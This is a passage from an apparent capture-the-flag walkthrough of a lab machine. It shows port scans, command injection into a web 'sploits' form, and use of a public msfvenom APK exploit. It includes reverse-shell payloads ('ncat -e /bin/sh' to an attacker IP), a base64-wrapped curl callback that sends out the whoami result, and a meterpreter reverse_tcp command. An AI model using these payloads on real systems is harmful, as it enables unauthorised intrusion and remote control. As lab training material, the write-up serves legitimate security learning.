<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 22</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> port</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [tcp/ssh] succeeded</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">!</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">SSH-2.0-OpenSSH_8.2p1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Ubuntu-4ubuntu0.1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ssh -v 10.10.10.226</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">OpenSSH_8.4p1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Debian-5,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> OpenSSL</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 1.1.1j</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  16</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2021</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[...]</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">debug1:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Authentications</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> that</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> can</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> continue:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> publickey,password</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h4>TCP/5000</h4>
<p>Trying to determine what kind of service was behind the TCP/5000 port, I find out that it was a Web Server.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nc -v 10.10.10.226 5000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 5000</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> port</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [tcp/*] succeeded</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">!</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GET</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP/1.1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">HTTP/1.0</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 200</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> OK</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Content-Type:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> text/html</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">charset</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">utf-8</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Content-Length:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2135</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Server:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Werkzeug/0.16.1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Python/3.8.5</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Date:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Fri,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 16</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Apr</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2021</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 15:50:30</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> GMT</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">html</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        &lt;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">head</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                &lt;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">title</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">k1d</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">'5 h4ck3r t00l5&lt;/title&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">                &lt;link href="static/hacker.css" rel="stylesheet"&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        &lt;/head&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        &lt;body&gt;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">                &lt;h1&gt;k1d'</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> h4ck3r</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> t00l5</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">/h</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">1&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                &lt;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">hr/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                &lt;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">div</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> style="width: 100%; display: table;"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                        &lt;</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">div</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> style="display: table-cell; width: 50%"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[...]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<p>The UDP scan shows no port open.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> discovery</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (-Pn). All addresses will be marked </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'up'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> and scan times will be slower.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Starting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Nmap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7.91</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ( </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">https://nmap.org</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ) at 2021-04-16 15:41 UTC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scan</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (0.035s </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">latency</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">All</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1000</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scanned</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> are</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> closed</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (957) or open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (43)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 1038.80 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Web application on port TCP/5000</h2>
<p>It looks like the web application was placed by some "hackers" and let the visitor execute "nmap", "payloads", or "sploits".</p>
<figure><figcaption></figcaption></figure>
<p>It looks like the parts of the application are executing system commands. I tried to inject codes and inject the following payload <code>; nc 10.10.14.75 443;</code> under the "sploits" part. I received a connection back on my box.</p>
<p>I sent.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">POST</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP/1.1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 10.10.10.226:5000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Content-Length:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 53</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Cache-Control:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> max-age=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Upgrade-Insecure-Requests:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Origin:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.226:5000</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Content-Type:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> application/x-www-form-urlencoded</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">User-Agent:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Mozilla/5.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Windows </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">NT</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Win64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">x64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) AppleWebKit/537.36 (</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">KHTML,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> like</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Gecko</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) Chrome/89.0.4389.128 Safari/537.36</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> text/html,application/xhtml+xml,application/xml</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">q</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">0.9,image/avif,image/webp,image/apng,*/*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">q</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">0.8,application/signed-exchange</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">v</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">b3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">q</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">0.9</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Referer:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.226:5000/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept-Encoding:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> gzip,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> deflate</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Accept-Language:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> en-GB,en-US</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">q</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">0.9,en</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">q</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">0.8</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> close</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">search</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">%3B+nc+10.10.14.75+443%3B+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&amp;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">action</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">searchsploit</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>And I received :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  nc -nlvp 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Listening</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0.0.0.0</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 443</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Connection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> received</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.10.226</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 38492</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I tried the following payload <code>; ncat -e /bin/sh 10.10.14.75 443;</code>, but I only received a connection back but like before, instantly it closes. I tried multiple payload but could not get a stable connection.</p>
<p>In fact, after caching some traffic with <code>tcpdump</code> and analysed it Wireshark, it looks like the page is trying to "hack back" when an invalid input is set to the searchsploit command. The Web page is even displaying the following text.</p>
<figure><figcaption></figcaption></figure>
<p>I then looked for injection but could not find one. The <code>payload</code> section leveraged the <code>msfvenom</code> tool. I did a quick research on <code>msfvenom</code> with <code>searchsploit</code>.</p>
<figure><figcaption></figcaption></figure>
<p>The exploit can be retrieved on <a href="https://www.exploit-db.com/exploits/49491" target="_blank" rel="noopener noreferrer">exploit-db</a>.
By injecting a command under the Distinguish Name of the certificate use to signe an apk, it is possible to have an RCE.
I downladed the exploit and set the payload as <code>curl http://10.10.14.58:443/$(whoami)</code></p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">python3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> script.py</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Manufacturing evil apkfile</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Payload:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> curl</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.14.58:443/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">$(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">whoami</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-dname:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> CN='|echo Y3VybCBodHRwOi8vMTAuMTAuMTQuNTg6NDQzLyQod2hvYW1pKQ== | base64 -d | sh #</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  adding: empty (stored 0%)</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">jar signed.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">Warning:</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">The signer's</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> certificate</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> self-signed.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SHA1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -digestalg</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> considered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> security</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> risk.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> will</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> future</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> update.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">The</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SHA1withRSA</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -sigalg</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> considered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> security</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> risk.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> algorithm</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> will</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> disabled</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> in</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> future</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> update.</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">POSIX</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> file</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> permission</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and/or</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> symlink</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> attributes</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> detected.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> These</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> attributes</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> are</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ignored</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> when</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signing</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> are</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> protected</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> by</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signature.</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Done</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">!</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> apkfile</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> at</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /tmp/tmp6849bkpc/evil.apk</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Do:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> msfvenom</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -x</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /tmp/tmp6849bkpc/evil.apk</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -p</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> android/meterpreter/reverse_tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LHOST=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">127.0.0.1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LPORT=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4444</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -o</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /dev/null</span></span></code></pre>
